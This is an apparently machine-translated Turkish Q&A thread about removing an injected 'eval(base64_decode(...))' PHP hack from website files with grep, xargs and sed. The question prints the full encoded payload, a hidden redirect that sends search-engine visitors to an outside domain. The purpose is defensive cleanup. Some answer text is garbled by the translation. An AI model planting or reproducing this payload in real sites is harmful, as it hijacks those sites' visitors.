grep, xargs, PHP eval hack'i temizlemek için sed


3

Bir PHP eval tabanlı kesmeyi temizlemek için http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ adresinde bulunan komutları kullanmaya çalışıyorum bir sitede.

Eşleşecek / kaldırılacak örnek kod

<?php           eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));

Denenmiş komut:

sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php           eval(base64_decode[^;]*;/<?php\n/g'

Sudo, eriştiğim dizinde okuma / yazma izninin olması gerektiği için eklendi. Dosyalar grep'ten düzgün bir şekilde çıkıyor ancak sed tarafından değiştirilmiyor. Baska öneri?

Yanıtlar:


2

Ben çift kullanımının sudosuçlu olduğunu düşünüyorum . Komutlarınızın onlarsız iyi çalışmasını sağladım.

sudo -sYeni bir kabuk açmayı deneyin ve daha sonra kendi kendine komutları uygulayın.

sudo -s
grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | xargs sed -i.bak 's/&lt;?php           eval(base64_decode[^;]*;/&lt;?php\n/g'

Not: Sizin tam olarak \ndüzelmediğinizi öğrendim. Çifte ters eğik çizgi çizmeniz yeterlidir.


Bunun sorun olabileceğini düşündüm, ancak çözüm ne yazık ki işe yaramadı. sed: okuyamıyor /home/user/webdir/wp-content/themes/index.php: İzin reddedildi
roktechie 5:12

@roktechie: (Sadece) emrinizi yaparsanız ( okuma erişimi için gerekliyse grep –l…kullanarak sudo), listelediği dosyalardan birini seçin ve ardından sudo sed –i.bak …bu dosya adını yazdıktan sonra ne olur?
Scott

sudo -ssizi bu sisteme yönlendirmeli, böylece istediğinizi okuyabilir / yazabilirsiniz. Kök bir şeye erişemiyorsa, chmodsizi bunun dışına çıkarmalı. (Eğer bir RO dosya sistemi ise, cat /etc/fstabbunu açıklamalıdır.)
LazyMonkey
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.